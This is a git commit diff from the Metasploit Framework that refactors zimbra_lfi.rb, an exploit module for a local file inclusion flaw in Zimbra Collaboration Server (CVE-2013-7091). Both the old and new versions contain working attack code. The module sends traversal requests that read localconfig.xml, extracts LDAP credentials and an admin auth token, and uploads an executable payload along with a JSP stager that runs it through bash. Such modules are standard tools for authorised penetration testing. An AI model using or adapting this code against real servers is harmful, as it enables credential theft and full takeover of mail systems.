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metasploit-framework
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Merge pull request #2 from jvazquez-r7/review_2774 

Clean zimbra_lfi
bug/bundler_fix
Mekanismen 2013-12-18 13:57:22 -08:00
parent 0c0e8c3a49 d4ec858051
commit 7173e1e2f3
1 changed files with 83 additions and 82 deletions
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165
modules/exploits/unix/webapp/zimbra_lfi.rb
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@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include REXML
Rank = GreatRanking
@ -18,10 +19,12 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Zimbra Collaboration Server LFI',
'Description' => %q{
A Local file inclusion exists in versions 8.0.2, 7.2.2 and possibly other versions which allows an attacker to get the LDAP
credentials from the localconfig.xml file. The stolen credentials enables the attacker to make requests to the service/admin/soap API. This can then be used
to create an authentication token for the admin web interface where an administrative user can be added or code execution could be leveraged.
Tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04.
This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability
allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen
credentials allow the attacker to make requests to the service/admin/soap API. This can
then be used to create an authentication token for the admin web interface. This access
can be used to achieve remote code execution. This module has been tested on Zimbra
Collaboration Server 8.0.2 with Ubuntu Server 12.04.
},
'Author' =>
[
@ -31,18 +34,20 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ "CVE", "2013-7091" ],
[ "EDB", "30085" ],
[ 'URL', "http://cxsecurity.com/issue/WLB-2013120097" ]
[ 'CVE', '2013-7091' ],
[ 'OSVDB', '100747' ],
[ 'BID', '64149' ],
[ 'EDB', '30085' ],
[ 'URL', 'http://cxsecurity.com/issue/WLB-2013120097' ]
],
'Privileged' => false,
'Platform' => ['linux'],
'Targets' =>
[
[ 'Linux',
[ 'Zimbra 8.0.2 / Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
@ -55,27 +60,15 @@ class Metasploit3 < Msf::Exploit::Remote
))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 7071])
])
register_advanced_options(
[
OptString.new('ALTDIR', [ false, 'Alternative zimbraAdmin directory', "zimbraAdmin"])
Opt::RPORT(7071),
OptString.new('TARGETURI', [true, 'Path to zimbraAdmin web application', '/zimbraAdmin']),
OptInt.new('DEPTH', [true, 'Traversal depth until to reach the root path', 9]),
OptString.new('ZIMBRADIR', [true, 'Zimbra installation path on the target filesystem (/opt/zimbra by default)', '/opt/zimbra'])
])
end
def check
uri = target_uri.path
res = send_request_cgi({
'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'v' => "091214175450",
'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
}
})
res = send_traversal_query(traversal_path("conf/localconfig.xml"))
unless res and res.code == 200
return Exploit::CheckCode::Safe
@ -96,28 +89,18 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
uri = target_uri.path
res = send_request_cgi({
'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'v' => "091214175450",
'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
}
})
print_status("#{peer} - Getting login credentials...")
res = send_traversal_query(traversal_path("conf/localconfig.xml"))
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
print_status("#{peer} - Getting login credentials...")
#this response is ~100% gzipped
begin
text = Rex::Text.ungzip(res.body)
rescue Zlib::GzipFile::Error
text = res.body
text = res.body.to_s
end
if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy
res = send_request_cgi({
'uri' => normalize_uri(uri, "/service/admin/soap"),
'uri' => normalize_uri("service", "admin", "soap"),
'method' => 'POST',
'ctype' => 'application/soap+xml; charset="utf-8"',
'headers' =>
@ -149,17 +132,16 @@ class Metasploit3 < Msf::Exploit::Remote
})
unless res and res.code == 200
print_status res.body
fail_with(Failure::Unknown, "#{peer} - Unable to access service URL")
end
if res.body =~ /<authToken>(.*)<\/authToken>/
if res.body.to_s =~ /<authToken>(.*)<\/authToken>/
auth_token = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get auth token")
end
cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}"
@cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}"
print_good("#{peer} - Got auth token!")
#the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler
@ -169,62 +151,81 @@ class Metasploit3 < Msf::Exploit::Remote
#push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards
payload_name = rand_text_alpha(8+rand(8))
stager_name = rand_text_alpha(8+rand(8)) + ".jsp"
req_id = rand_text_numeric(2).to_s
stager = gen_stager(payload_name)
dpayload = generate_payload_exe
payload_elf = generate_payload_exe
#upload payload
print_status("#{peer} - Uploading .JSP stager and payload")
post_data = Rex::MIME::Message.new
post_data.add_part("#{payload_name}", nil, nil, "form-data; name=\"filename1\"")
post_data.add_part("#{dpayload}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{payload_name}\"")
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
n_data = post_data.to_s
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"),
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'cookie' => cookie
})
print_status("#{peer} - Uploading payload")
res = upload_file(payload_name, payload_elf)
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload")
end
#upload jsp stager
print_status("#{peer} - Uploading jsp stager")
res = upload_file(stager_name, stager)
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager")
end
register_files_for_cleanup(
"../jetty/webapps/zimbra/downloads/#{stager_name}",
"../jetty/webapps/zimbra/downloads/#{payload_name}"
)
print_status("#{peer} - Executing payload on /downloads/#{stager_name}")
res = send_request_cgi({
'uri' => normalize_uri("downloads", stager_name),
'method' => 'GET',
})
end
def traversal_path(file_name)
::File.join(
"../" * datastore['DEPTH'],
datastore['ZIMBRADIR'],
file_name
)
end
def send_traversal_query(traversal)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'v' => "091214175450",
'skin' => "#{traversal}%00"
}
})
return res
end
def upload_file(file_name, data)
req_id = rand_text_numeric(2).to_s
post_data = Rex::MIME::Message.new
post_data.add_part("#{stager_name}", nil, nil, "form-data; name=\"filename1\"")
post_data.add_part("#{stager}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{stager_name}\"")
post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"")
post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
n_data = post_data.to_s
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'uri' => normalize_uri(uri, "/service/extension/clientUploader/upload/"),
'uri' => normalize_uri("service", "extension", "clientUploader", "upload"),
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'cookie' => cookie
'cookie' => @cookie
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager")
end
print_good("#{peer} - Stager and payload uploaded!")
print_status("#{peer} - Stager at #{peer}/downloads/#{stager_name}")
print_status("#{peer} - Executing payload!")
res = send_request_cgi({
'uri' => normalize_uri(uri, "downloads", stager_name),
'method' => 'GET',
})
return res
end
def build_soap_req(zimbra_user, zimbra_pass)
@ -274,11 +275,11 @@ class Metasploit3 < Msf::Exploit::Remote
stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);"
stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;"
stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";"
stager += " Runtime.getRuntime().exec(\"chmod 700 \" + payload);"
stager += " Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"
stager += " Runtime.getRuntime().exec(\"rm \" + jspfile);"
stager += " Runtime.getRuntime().exec(\"rm \" + payload);"
stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);"
stager += " p.waitFor();"
stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"
stager += "%>"
return stager
end
end